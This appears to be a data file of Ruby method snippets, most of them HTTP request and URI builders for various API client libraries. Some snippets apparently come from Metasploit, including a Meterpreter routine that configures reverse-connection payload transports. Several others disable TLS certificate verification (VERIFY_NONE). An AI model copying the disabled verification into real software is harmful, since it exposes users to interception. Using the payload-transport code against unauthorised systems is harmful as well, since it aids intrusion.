"def request(method, path, body, options={})\n escaped_path = Addressable::URI.escape(path)\n connection = @client.connection(true) # SSL Only!\n connection.headers.merge!(options.delete(:override_headers) || {})\n connection.headers.merge!(self.auth_header)\n\n unless (@client.api_user.nil? || options[:ApiUser])\n options.merge!(:ApiUser => \"#{@client.api_user}\")\n end\n\n parameter_string = options.size > 0 ? \"?#{build_url_parameters(options)}\" : \"\"\n request_path = \"#{escaped_path}#{parameter_string}\"\n SparkApi.logger.debug { \"Request: #{request_path}\" }\n if body.nil?\n response = connection.send(method, request_path)\n else\n SparkApi.logger.debug { \"Data: #{body}\" }\n response = connection.send(method, request_path, body)\n end\n response\n end",
"def api_request(method, path, opts = {})\n request(method, path, opts)\n end",
"def request(method, path, body = nil)\n\t #Puppet.debug(\"REAQUEST URL #{method} #{@url} #{path} #{@connect_timeout} #{body}\")\n response = Excon.send(method, @url, :path => path, :headers => web_proxy_headers, :body => body, :connect_timeout => @connect_timeout)\n end",
"def build_path(path, secure: true, path_args: {})\n url = if secure\n 'https://'\n else\n 'http://'\n end\n\n url << (ENV['QA_HOST'] || domain)\n\n if port\n url << \":#{port}\"\n end\n\n if path && !path.empty?\n url << '/' + path.gsub(/\\A\\/+/, \"\")\n end\n\n if !path_args.empty?\n url << '?' + path_args.map{|k, v| \"#{k}=#{v}\"}.join('&')\n end\n\n url\n end",
"def old_rest path, query={}, opts={}, &cb\n uri = url(\"method/#{path}\", {:format => 'json'}.merge(query),\n old_server, opts)\n if opts[:post]\n request(\n opts.merge(:uri => uri),\n [:post,\n url(\"method/#{path}\", {:format => 'json'}, old_server, opts),\n query],\n &cb)\n else\n request(opts, [:get, uri], &cb)\n end\n end",
"def query_api(path, data = nil, method = 'POST')\n uri = URI(\"https://#{API_ENDPOINT}#{path}\")\n\n # Setup HTTP request.\n request = method == 'POST' ? Net::HTTP::Post.new(path) : Net::HTTP::Get.new(path)\n request.basic_auth(@client_id, @client_secret)\n request['Accept'] = 'application/json'\n request['Content-Type'] = 'application/x-www-form-urlencoded'\n request['User-Agent'] = 'figo-ruby/1.4.2'\n request.body = URI.encode_www_form(data) unless data.nil?\n\n # Send HTTP request.\n response = @https.request(uri, request)\n\n # Evaluate HTTP response.\n response.body && !response.body.empty? ? JSON.parse(response.body) : nil\n end",
"def initialize(scheme,\n userinfo, host, port, registry,\n path, opaque,\n query,\n fragment,\n parser = DEFAULT_PARSER,\n arg_check = false)\n @scheme = nil\n @user = nil\n @password = nil\n @host = nil\n @port = nil\n @path = nil\n @query = nil\n @opaque = nil\n @fragment = nil\n @parser = parser == DEFAULT_PARSER ? nil : parser\n\n if arg_check\n self.scheme = scheme\n self.userinfo = userinfo\n self.hostname = host\n self.port = port\n self.path = path\n self.query = query\n self.opaque = opaque\n self.fragment = fragment\n else\n self.set_scheme(scheme)\n self.set_userinfo(userinfo)\n self.set_host(host)\n self.set_port(port)\n self.set_path(path)\n self.query = query\n self.set_opaque(opaque)\n self.fragment=(fragment)\n end\n if registry\n raise InvalidURIError,\n \"the scheme #{@scheme} does not accept registry part: #{registry} (or bad hostname?)\"\n end\n\n @scheme&.freeze\n self.set_path('') if !@path && !@opaque # (see RFC2396 Section 5.2)\n self.set_port(self.default_port) if self.default_port && !@port\n end",
"def request(method, path, opts = {})\n raise ClientError, 'Access token missing' unless @access_token\n\n opts[:headers] = {} if opts[:headers].nil?\n opts[:headers]['Accept'] = 'application/json'\n opts[:headers]['Content-Type'] = 'application/json' unless method == :get\n opts[:headers]['User-Agent'] = user_agent\n opts[:headers]['Authorization'] = \"Bearer #{@access_token}\"\n\n if !opts[:data].nil?\n opts[:body] = opts[:data].to_param\n\n puts \"SETTING BODY #{opts[:body]}\"\n\n opts[:headers]['Content-Type'] = 'application/x-www-form-urlencoded' # sob sob\n end\n\n path = URI.encode(path)\n\n resp = connection.run_request(method, path, opts[:body], opts[:headers]) do |req|\n req.params = opts[:params] if !opts[:params].nil?\n end\n\n response = Response.new(resp)\n\n case response.status\n when 301, 302, 303, 307\n # TODO\n when 200..299, 300..399\n # on non-redirecting 3xx statuses, just return the response\n response\n when 400..599\n error = ApiError.new(response)\n raise(error, \"Status code #{response.status}\")\n else\n error = ApiError.new(response)\n raise(error, \"Unhandled status code value of #{response.status}\")\n end\n end",
"def get(path = nil)\n url = URI.parse(@url.scheme + '://' + @url.host + ':' + @url.port.to_s + path.to_s)\n headers = { \"Authorization\" => \"Basic \" + [@user + \":\" + @password].pack(\"m\") } if @user\n \n server = Net::HTTP.new(@url.host, @url.port)\n server.read_timeout = @timeout\n server.use_ssl = url.scheme == 'https'\n server.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n res, data = server.get(url.request_uri, headers)\n \n case res\n when Net::HTTPSuccess\n # OK\n else\n raise res.inspect\n end\n [res, data]\n end",
"def connection_params(host, port)\n \n params = {}\n \n if !host.nil?\n params[:host] = host\n elsif !Nagios::Connection.instance.host.nil?\n params[:host] = Nagios::Connection.instance.host\n else\n raise ArgumentError, \"You must provide a Nagios host or use Nagios::Connection\"\n end\n\n if !port.nil?\n params[:port] = port\n elsif !Nagios::Connection.instance.port.nil?\n params[:port] = Nagios::Connection.instance.port\n else\n raise ArgumentError, \"You must provide a Nagios port or use Nagios::Connection\"\n end\n\n return params\n end",
"def request(method, path, options)\n response = connection.send(method) do |request|\n case method\n when :get\n formatted_options = format_options(options)\n request.url(path,formatted_options)\n when :post, :put\n request.headers['Content-Type'] = 'application/json'\n request.body = options.to_json unless options.empty?\n request.url(path)\n end\n end\n \n Response.create(response.body)\n end",
"def request(path, params = {})\n raise Error, 'Invalid HTTP Client' unless http_client\n wait_before_new_request\n\n uri = @base_uri.merge(path)\n uri.query = http_build_query(params) unless params.empty?\n\n begin\n @last_request = Time.now # see #wait_before_new_request\n @last_request_uri = uri # useful for debug\n response = make_request(uri)\n rescue => e # catch EOFError, SocketError and more\n raise HTTPError, e.message\n end\n\n case response\n when Net::HTTPSuccess\n response\n when Net::HTTPUnauthorized # 401\n raise HTTPError, 'Invalid username or password'\n when Net::HTTPServiceUnavailable # 503\n raise HTTPError, 'You have been throttled.' +\n 'Please ensure you are waiting at least one second before each request.'\n else\n raise HTTPError, \"HTTP #{response.code}: #{response.message}\"\n end\n end",
"def query_api(path, query=nil, uri=USER_SPECIFIC_URI, method=\"get\")\n if query\n encoded_query = URI.encode_www_form(query)\n uri = URI(\"#{uri}/#{path}?#{encoded_query}\")\n else\n uri = URI(\"#{uri}/#{path}\")\n end\n\n if method == \"get\"\n request = Net::HTTP::Get.new(uri)\n request.basic_auth(@access_key, '')\n res = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|\n http.request(request)\n end\n\n return JSON.parse(res.body)\n elsif method == \"delete\"\n request = Net::HTTP::Delete.new(uri)\n request.basic_auth(@access_key, '')\n res = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|\n http.request(request)\n end\n\n return res\n end\n end",
"def request(method, path, params, headers = {})\n url = \"https://#{@host}/api/#{@version}#{path}\"\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n assign_verify_mode(http)\n request = create_request(method, uri, params, headers)\n\n res = http.request(request) if request\n parse_body(res)\n rescue SocketError => e\n raise ConnectionError, e.message\n end",
"def query_api(path, data = nil)\n uri = URI(\"https://#{$api_endpoint}#{path}\")\n\n # Setup HTTP request.\n request = Net::HTTP::Post.new(path)\n request.basic_auth(@client_id, @client_secret)\n request[\"Accept\"] = \"application/json\"\n request[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n request[\"User-Agent\"] = \"ruby-figo\"\n request.body = URI.encode_www_form(data) unless data.nil?\n\n # Send HTTP request.\n response = @https.request(uri, request)\n\n # Evaluate HTTP response.\n return response.body == \"\" ? {} : JSON.parse(response.body)\n end",
"def initialize opts\n @host = opts[:host]\n @pass = opts[:pass]\n @user = opts[:user]\n end",
"def send_request(method, path, options={}) #:nodoc:\n raise ArgumentError, 'only get, post, put and delete methods are supported' unless %w[get post put delete].include?(method.to_s)\n raise ArgumentError, ':headers must be a hash' if options[:headers] && !options[:headers].is_a?(Hash)\n raise ArgumentError, ':basic_auth must be a hash' if options[:basic_auth] && !options[:basic_auth].is_a?(Hash)\n uri = URI.parse(\"#{base_uri}#{path}\")\n existing_query = uri.query ? \"#{uri.query}&\" : ''\n uri.query = if options[:query].blank?\n existing_query + default_params.to_query\n else\n existing_query + (options[:query].is_a?(Hash) ? default_params.merge(options[:query]).to_query : options[:query])\n end\n klass = Net::HTTP.const_get method.to_s.downcase.capitalize\n request = klass.new(uri.request_uri)\n request.body = options[:body].is_a?(Hash) ? options[:body].to_query : options[:body] unless options[:body].blank?\n basic_auth = options.delete(:basic_auth) || @auth\n request.initialize_http_header headers.merge(options[:headers] || {})\n # note to self: self, do not put basic auth above headers because it removes basic auth\n request.basic_auth(basic_auth[:username], basic_auth[:password]) if basic_auth\n response = http(uri).request(request)\n @format ||= format_from_mimetype(response['content-type'])\n \n case response\n when Net::HTTPSuccess\n parse_response(response.body)\n else\n response.instance_eval { class << self; attr_accessor :body_parsed; end }\n begin; response.body_parsed = parse_response(response.body); rescue; end\n response.error! # raises exception corresponding to http error Net::XXX\n end\n\n end",
"def wrap_uri(path=\"WRAPv0.9\", query={})\n query = query || {}\n uri = URI.parse(File.join(host, path))\n uri.query = URI.encode_www_form(query) unless query.empty?\n uri\n end",
"def request(method, path, params)\n response = connection.send(method) do |request|\n case method\n when :get\n request.url(path, params)\n when :put\n params.merge!({\"_method\" => 'put'})\n request.url(path,params)\n when :post\n request.url(path)\n request.body = params\n when :delete\n params.merge!({\"_method\" => 'delete'})\n request.url(path, params)\n end\n end\n \n Response.create(response.body)\n end",
"def request_cgi(opts = {})\n opts = self.config.merge(opts)\n\n opts['cgi'] = true\n opts['port'] = self.port\n opts['ssl'] = self.ssl\n opts['ctype'] ||= 'application/x-www-form-urlencoded' if opts['method'] == 'POST'\n\n ClientRequest.new(opts)\n end",
"def build_request(http_method, path, opts = {})\n url = build_request_url(path)\n http_method = http_method.to_sym.downcase\n\n header_params = @default_headers.merge(opts[:header_params] || {})\n query_params = opts[:query_params] || {}\n form_params = opts[:form_params] || {}\n\n\n # set ssl_verifyhosts option based on @config.verify_ssl_host (true/false)\n _verify_ssl_host = @config.verify_ssl_host ? 2 : 0\n\n req_opts = {\n :method => http_method,\n :headers => header_params,\n :params => query_params,\n :params_encoding => @config.params_encoding,\n :timeout => @config.timeout,\n :ssl_verifypeer => @config.verify_ssl,\n :ssl_verifyhost => _verify_ssl_host,\n :sslcert => @config.cert_file,\n :sslkey => @config.key_file,\n :verbose => @config.debugging,\n :proxy => @config.proxy\n }\n\n # set custom cert, if provided\n req_opts[:cainfo] = @config.ssl_ca_cert if @config.ssl_ca_cert\n\n if [:post, :patch, :put, :delete].include?(http_method)\n req_body = build_request_body(header_params, form_params, opts[:body])\n req_opts.update :body => req_body\n if @config.debugging\n @config.logger.debug \"HTTP request body param ~BEGIN~\\n#{req_body}\\n~END~\\n\"\n end\n end\n\n request = Typhoeus::Request.new(url, req_opts)\n download_file(request) if opts[:return_type] == 'File'\n request\n end",
"def host\n @host ||= opts.fetch(:host, parsed_uri.host)\n end",
"def request(host, port, method, uri, params = {}, data = {}, headers = {}, auth = nil, timeout = nil) # rubocop:disable Metrics/MethodLength\n auth ||= @auth\n headers = generate_headers(method, headers)\n uri = build_uri(uri)\n\n if @logger\n @logger.debug('--BEGIN Twilio API Request--')\n @logger.debug(\"Request Method: <#{method}>\")\n\n headers.each do |key, value|\n @logger.debug(\"#{key}:#{value}\") unless key.downcase == 'authorization'\n end\n\n url = URI(uri)\n @logger.debug(\"Host:#{url.host}\")\n @logger.debug(\"Path:#{url.path}\")\n @logger.debug(\"Query:#{url.query}\")\n @logger.debug(\"Request Params:#{params}\")\n end\n\n response = @http_client.request(\n host,\n port,\n method,\n uri,\n params,\n data,\n headers,\n auth,\n timeout\n )\n\n if @logger\n @logger.debug(\"Response Status Code:#{response.status_code}\")\n @logger.debug(\"Response Headers:#{response.headers}\")\n @logger.debug('--END TWILIO API REQUEST--')\n end\n\n response\n end",
"def build_request(http_method, path, opts = {})\n url = build_request_url(path)\n http_method = http_method.to_sym.downcase\n\n header_params = @default_headers.merge(opts[:header_params] || {})\n query_params = opts[:query_params] || {}\n form_params = opts[:form_params] || {}\n\n update_params_for_auth! header_params, query_params, opts[:auth_names]\n\n # set ssl_verifyhosts option based on @config.verify_ssl_host (true/false)\n _verify_ssl_host = @config.verify_ssl_host ? 2 : 0\n\n req_opts = {\n :method => http_method,\n :headers => header_params,\n :params => query_params,\n :params_encoding => @config.params_encoding,\n :timeout => @config.timeout,\n :ssl_verifypeer => @config.verify_ssl,\n :ssl_verifyhost => _verify_ssl_host,\n :sslcert => @config.cert_file,\n :sslkey => @config.key_file,\n :verbose => @config.debugging\n }\n\n # set custom cert, if provided\n req_opts[:cainfo] = @config.ssl_ca_cert if @config.ssl_ca_cert\n\n if [:post, :patch, :put, :delete].include?(http_method)\n req_body = build_request_body(header_params, form_params, opts[:body])\n req_opts.update :body => req_body\n if @config.debugging\n @config.logger.debug \"HTTP request body param ~BEGIN~\\n#{req_body}\\n~END~\\n\"\n end\n end\n\n request = Typhoeus::Request.new(url, req_opts)\n download_file(request) if opts[:return_type] == 'File'\n request\n end",
"def get(path, params = {})\n debug_log \"GET #{connection.build_url(\"#{@host}#{path}\", params)}\"\n res = connection.get path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def send_request_as(opts = {})\n connect(opts)\n req = build_as_request(opts)\n res = client.send_recv(req)\n disconnect\n res\n end",
"def build_request(http_method, path, opts = {})\n url = build_request_url(path, opts)\n http_method = http_method.to_sym.downcase\n\n header_params = @default_headers.merge(opts[:header_params] || {})\n query_params = opts[:query_params] || {}\n form_params = opts[:form_params] || {}\n follow_location = opts[:follow_location] || true\n\n update_params_for_auth! header_params, query_params, opts[:auth_names]\n\n # set ssl_verifyhosts option based on @config.verify_ssl_host (true/false)\n _verify_ssl_host = @config.verify_ssl_host ? 2 : 0\n\n req_opts = {\n :method => http_method,\n :headers => header_params,\n :params => query_params,\n :params_encoding => @config.params_encoding,\n :timeout => @config.timeout,\n :ssl_verifypeer => @config.verify_ssl,\n :ssl_verifyhost => _verify_ssl_host,\n :sslcert => @config.cert_file,\n :sslkey => @config.key_file,\n :verbose => @config.debugging,\n :followlocation => follow_location\n }\n\n # set custom cert, if provided\n req_opts[:cainfo] = @config.ssl_ca_cert if @config.ssl_ca_cert\n\n if [:post, :patch, :put, :delete].include?(http_method)\n req_body = build_request_body(header_params, form_params, opts[:body])\n req_opts.update :body => req_body\n if @config.debugging\n @config.logger.debug \"HTTP request body param ~BEGIN~\\n#{req_body}\\n~END~\\n\"\n end\n end\n\n request = Typhoeus::Request.new(url, req_opts)\n download_file(request) if opts[:return_type] == 'File'\n request\n end",
"def http(host, port)\n @http[\"#{host}:#{port}\"] ||= http_class.new(host, port).tap do |http|\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.use_ssl = true\n end\n end",
"def setup_http_connection(host, opt)\n conn = Faraday.new(url: host) do |client|\n client.request :url_encoded\n client.request :oauth, opt\n client.adapter Faraday.default_adapter\n end\n conn\n end",
"def build_request(http_method, path, opts = {})\n url = build_request_url(path)\n http_method = http_method.to_sym.downcase\n\n header_params = @default_headers.merge(opts[:header_params] || {})\n query_params = opts[:query_params] || {}\n form_params = opts[:form_params] || {}\n\n\n # set ssl_verifyhosts option based on @config.verify_ssl_host (true/false)\n _verify_ssl_host = @config.verify_ssl_host ? 2 : 0\n\n req_opts = {\n :method => http_method,\n :headers => header_params,\n :params => query_params,\n :params_encoding => @config.params_encoding,\n :timeout => @config.timeout,\n :ssl_verifypeer => @config.verify_ssl,\n :ssl_verifyhost => _verify_ssl_host,\n :sslcert => @config.cert_file,\n :sslkey => @config.key_file,\n :verbose => @config.debugging\n }\n\n # set custom cert, if provided\n req_opts[:cainfo] = @config.ssl_ca_cert if @config.ssl_ca_cert\n\n if [:post, :patch, :put, :delete].include?(http_method)\n req_body = build_request_body(header_params, form_params, opts[:body])\n req_opts.update :body => req_body\n if @config.debugging\n @config.logger.debug \"HTTP request body param ~BEGIN~\\n#{req_body}\\n~END~\\n\"\n end\n end\n\n request = Typhoeus::Request.new(url, req_opts)\n download_file(request) if opts[:return_type] == 'File'\n request\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def initialize(host = '', path = '') \n @host = host\n @path = path\n @args = {}\n @report\n end",
"def request(path, method=nil, vars={})\n if !path || path.length < 1\n raise ArgumentError, 'Invalid path parameter'\n end\n if method && !['GET', 'POST', 'DELETE', 'PUT'].include?(method)\n raise NotImplementedError, 'HTTP %s not implemented' % method\n end\n\n if path[0, 1] == '/'\n uri = TWILIO_API_URL + path\n else\n uri = TWILIO_API_URL + '/' + path\n end\n\n return _fetch(uri, vars, method)\n end",
"def request path, params={}, *extra\n opts = extra[-1].kind_of?(Hash) ? extra.pop : {}\n data = extra[0]\n # force a POST, use the query string as the POST body\n if opts[:method] == :post and data.to_s.empty?\n http_context = self.post(path, hash_to_query(params), {}, {'Content-Type' => 'application/x-www-form-urlencoded'})\n else\n if data\n # standard POST, using \"data\" as the POST body\n http_context = self.post(path, data, params, {\"Content-Type\" => 'text/xml; charset=utf-8'})\n else\n # standard GET\n http_context = self.get(path, params)\n end\n end\n raise RSolr::RequestError, \"Solr Response: #{http_context[:message]}\" unless http_context[:status_code] == 200\n http_context\n end",
"def config(host, port)\n uri = URI::HTTP.build(host: host, port: port, path: '/config')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.get(uri.path, \"Accept\" => \"application/json\")\n end",
"def request(method, path, *arguments)\n puts \"REQUEST #{path} #{arguments.inspect}\"\n uri = URI.parse( path )\n request_http = http\n if uri.host\n path = uri.request_uri #includes params unlike path()\n request_http = Net::HTTP.new(uri.host, uri.port) #ignores @timeout and @proxy\n else\n uri = site\n end\n puts \"URI #{uri.inspect}\"\n result = ActiveSupport::Notifications.instrument(\"request.active_resource\") do |payload|\n payload[:method] = method\n payload[:request_uri] = \"#{uri.scheme}://#{uri.host}:#{uri.port}#{path}\"\n payload[:result] = request_http.send(method, path, *arguments)\n end\n handle_response(result)\n rescue Timeout::Error => e\n raise TimeoutError.new(e.message)\n rescue OpenSSL::SSL::SSLError => e\n raise SSLError.new(e.message)\n end",
"def url(path)\n \"http://#{@host}:#{@port}#{path}\"\n end",
"def post(path, query_params={}, opts={})\n request(:post, path, query_params, opts)\n end",
"def request(http_method, path, params = {})\n response = connection.send(http_method) do |request|\n case http_method\n when :get, :delete\n request.url(path, params)\n when :post, :put\n request.path = path\n request.body = params unless params.empty?\n end\n end\n\n response.body['response']\n end",
"def send_request_cgi(opts={}, timeout = 20)\r\n\r\n begin\r\n c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])\r\n c.connect\r\n r = c.request_cgi(opts)\r\n c.send_recv(r, timeout)\r\n rescue ::Errno::EPIPE, ::Timeout::Error\r\n nil\r\n end\r\n end",
"def get(path, query_params={}, opts={})\n request(:get, path, query_params, opts)\n end",
"def request(method, path, options)\n raise PipelineDeals::MissingApiKey unless PipelineDeals.api_key\n\n path = \"#{path}.json\"\n puts \"Querying #{path}...\"\n\n response = connection.send(method) do |request|\n case method\n when :get, :delete\n request.url(path, options)\n when :post, :put\n request.path = path\n request.body = options unless options.empty?\n end\n\n request.params[\"api_key\"] = PipelineDeals.api_key\n end\n\n PipelineDeals::Response.new(response.body)\n end",
"def set_host host\n @host = host\n end",
"def initialize(path, subpath = nil, auth: false, client: nil)\n @auth = auth\n @client = client || Plaid.client\n verify_configuration\n\n path = File.join(@client.env, path.to_s)\n path = File.join(path, subpath.to_s) if subpath\n\n @uri = URI.parse(path)\n\n @http = Net::HTTP.new(@uri.host, @uri.port)\n @http.use_ssl = true\n\n @http.read_timeout = Plaid.read_timeout || DEFAULT_TIMEOUT\n end",
"def uri\n URI.new :scheme => scheme,\n :host => host,\n :path => path,\n :query => query\n end",
"def call_rest_options(path, headers: nil, options: nil, params: nil,\n payload: nil)\n rest_headers = call_rest_headers(headers, params)\n rest_options = {\n headers: rest_headers,\n url: api_url(path)\n }\n common_rest_options(rest_options)\n rest_options[:payload] = payload if payload\n rest_options.merge!(options) if options\n rest_options[:method] ||= payload ? :post : :get\n rest_options\n end",
"def initialize(uri)\n raise Exception,\"Invalid protocol format: #{uri}\" unless uri =~ /(.*):\\/\\/(.*)/\n @scheme, @host = $1, $2\n raise Exception,\"Bad URI(only scheme hornetq:// is supported): #{uri}\" unless @scheme == 'hornetq'\n raise 'Mandatory hostname missing in uri' if @host.empty?\n if @host =~ /(.*?)(\\/.*)/\n @host, @path = $1, $2\n else\n @path = '/'\n end\n if @host =~ /(.*),(.*)/\n @host, @backup_host = $1, $2\n end\n if @host =~ /(.*):(.*)/\n @host, @port = $1, HornetQ.netty_port($2)\n else\n @port = HornetQ::DEFAULT_NETTY_PORT\n end\n if @backup_host\n if @backup_host =~ /(.*):(.*)/\n @backup_host, @backup_port = $1, HornetQ.netty_port($2)\n else\n @backup_port = HornetQ::DEFAULT_NETTY_PORT\n end\n end\n query = nil\n if @path =~ /(.*)\\?(.*)/\n @path, query = $1, $2\n end\n\n # Extract settings passed in query\n @params = {}\n if query\n query.split('&').each do |i|\n key, value = i.split('=')\n value = true if value == 'true'\n value = false if value == 'false'\n value = value.to_i if value =~ /^\\d+$/\n value = value.to_f if value =~ /^\\d+\\.\\d*$/\n @params[key] = value\n end\n end\n end",
"def get(path, query={})\n request.get(path, query_options(query))\n end",
"def localhost_http_get path = nil\n Net::HTTP.get(URI.parse(localhost_url(path)))\n end",
"def send_request(opts)\n cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)\n cli.connect\n req = cli.request_raw(opts)\n res = cli.send_recv(req)\n\n # Found a cookie? Set it. We're going to need it.\n if res && res.get_cookies =~ /JSESSIONID=(\\w*);/i\n self.jsession = $1\n end\n\n res\n end",
"def call_api_method(http_method, path, opts = {})\n connection = Faraday.new(:url => @config.base_path, ssl: { verify: @config.verify_ssl })\n case http_method\n when :GET\n response = connection.get do |req|\n build_request(req, http_method, path, opts)\n end\n when :POST\n response = connection.post do |req|\n build_request(req, http_method, path, opts)\n end\n when :PUT\n response = connection.put do |req|\n build_request(req, http_method, path, opts)\n end\n when :DELETE\n response = connection.delete do |req|\n build_request(req, http_method, path, opts)\n end\n end\n response\n end",
"def transport_prepare_request(method, opts={})\n unless valid_transport?(opts[:transport]) && opts[:lport]\n return nil\n end\n\n if opts[:transport].starts_with?('reverse')\n return false unless opts[:lhost]\n else\n # Bind shouldn't have lhost set\n opts[:lhost] = nil\n end\n\n transport = opts[:transport].downcase\n\n request = Packet.create_request(method)\n\n scheme = transport.split('_')[1]\n url = \"#{scheme}://#{opts[:lhost]}:#{opts[:lport]}\"\n\n if opts[:luri] && opts[:luri].length > 0\n if opts[:luri][0] != '/'\n url << '/'\n end\n url << opts[:luri]\n if url[-1] == '/'\n url = url[0...-1]\n end\n end\n\n if opts[:comm_timeout]\n request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])\n end\n\n if opts[:session_exp]\n request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])\n end\n\n if opts[:retry_total]\n request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])\n end\n\n if opts[:retry_wait]\n request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])\n end\n\n # do more magic work for http(s) payloads\n unless transport.ends_with?('tcp')\n if opts[:uri]\n url << '/' unless opts[:uri].start_with?('/')\n url << opts[:uri]\n url << '/' unless opts[:uri].end_with?('/')\n else\n sum = uri_checksum_lookup(:connect)\n url << generate_uri_uuid(sum, opts[:uuid]) + '/'\n end\n\n # TODO: randomise if not specified?\n opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'\n request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])\n\n if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl\n hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])\n request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)\n end\n\n if opts[:proxy_host] && opts[:proxy_port]\n prefix = 'http://'\n prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'\n proxy = \"#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}\"\n request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)\n\n if opts[:proxy_user]\n request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])\n end\n if opts[:proxy_pass]\n request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])\n end\n end\n\n end\n\n request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport])\n request.add_tlv(TLV_TYPE_TRANS_URL, url)\n\n request\n end",
"def client_config\n cc = Settings.dig(:connection, connection_type)\n return cc unless host\n\n uhost = URI(host)\n cc.host = uhost.hostname\n cc.port = uhost.port\n cc.scheme = uhost.scheme\n cc\n end",
"def buildHttpService(host, *args)\n pp [:got_buildHttpService, host, *args] if $DEBUG\n port, protocol = *args\n case host\n when URI, Java::JavaNet::URL\n port ||= host.port\n protocol ||= host.protocol\n host = host.host\n else\n thost = host.kind_of?(String) ? Java::JavaNet::URL.new(host) : host\n port ||= thost.port\n protocol ||= thost.protocol\n end\n port ||= case protocol\n when TrueClass, /^https$/i\n 443\n else\n 80\n end\n\n port = https ? 443 : 80 if port < 0\n host = host.host if host.respond_to? :host\n\n __buildHttpService(host, port, protocol)\n end",
"def initialize(host, port, request_timeout = 5)\n raise ArgumentError if host.blank? || port.blank?\n self.host = host\n self.port = port\n self.request_timeout = request_timeout.to_i\n end",
"def host(host)\n @api.host = host\n end",
"def connect(uri, host=nil, port=5222, opts={})\n\n initialize_for_connect # Initial/default values for new connection, in case\n # of connect/close/connect/close/connect on same object...\n\n uri = URI::parse(uri) unless uri.kind_of? URI::Generic\n @uri = uri\n\n opts = {\n :ssl_verify => true,\n\n # When we make the first post, we have no clue what value the server uses for\n # http_inactivity, since we haven't connected yet!\n :http_connect => 60,\n\n # As well, it's possible the server will NOT specify http_inactivity.\n # XEP-0124 states:\n #\n # \"If the connection manager did not specify a maximum inactivity period\n # in the session creation response, then it SHOULD allow the client to be\n # inactive for as long as it chooses.\"\n #\n # So, we need to default this. If the server sends http_inactivity, then\n # that value will override our default.\n :http_inactivity => 60\n\n # In either case, if the client application has advance knowledge of the values\n # used by the server, then it should override these defaults using opts.\n\n }.merge(opts)\n\n @use_ssl = @uri.kind_of? URI::HTTPS\n @protocol_name = \"HTTP#{'S' if @use_ssl}\"\n @verify_mode = opts[:ssl_verify] ? OpenSSL::SSL::VERIFY_PEER : OpenSSL::SSL::VERIFY_NONE if @use_ssl\n\n @http_connect = opts[:http_connect].to_i\n @http_inactivity = opts[:http_inactivity].to_i\n\n @http_rid = IdGenerator.generate_id.to_i\n @pending_rid = @http_rid\n @pending_rid_lock = Semaphore.new\n\n req_body = REXML::Element.new('body')\n req_body.attributes['rid'] = @http_rid\n req_body.attributes['content'] = @http_content_type\n req_body.attributes['hold'] = @http_hold.to_s\n req_body.attributes['wait'] = @http_wait.to_s\n req_body.attributes['to'] = @jid.domain\n req_body.attributes['ver'] = '1.8'\n if host\n req_body.attributes['route'] = \"xmpp:#{host}:#{port}\"\n end\n req_body.attributes['secure'] = 'true'\n req_body.attributes['xmlns'] = 'http://jabber.org/protocol/httpbind'\n req_body.attributes['xmlns:xmpp'] = 'urn:xmpp:xbosh'\n req_body.attributes['xmpp:version'] = '1.0'\n res_body = post(req_body)\n unless res_body.name == 'body'\n raise 'Response body is no <body/> element'\n end\n\n @streamid = res_body.attributes['authid']\n @status = CONNECTED\n @http_sid = res_body.attributes['sid']\n @http_wait = res_body.attributes['wait'].to_i if res_body.attributes['wait']\n @http_hold = res_body.attributes['hold'].to_i if res_body.attributes['hold']\n @http_inactivity = res_body.attributes['inactivity'].to_i if res_body.attributes['inactivity']\n @http_polling = res_body.attributes['polling'].to_i\n @http_polling = 5 if @http_polling == 0\n @http_requests = res_body.attributes['requests'].to_i\n @http_requests = 1 if @http_requests == 0\n\n receive_elements_with_rid(@http_rid, res_body.children)\n\n @features_sem.run\n end",
"def url_for(path)\n url = scheme + '://' + host\n\n if scheme == 'https' && port != 443 ||\n scheme == 'http' && port != 80\n url << \":#{port}\"\n end\n\n url << path\n end",
"def request(verb, path, opts = {}, &block)\n configure_authentication!(opts)\n opts = { snaky: false }.merge(opts)\n do_request { @client.request(verb, path, opts, &block) }\n end",
"def request(verb, path, opts = {}, &block)\n configure_authentication!(opts)\n @client.request(verb, path, opts, &block)\n end",
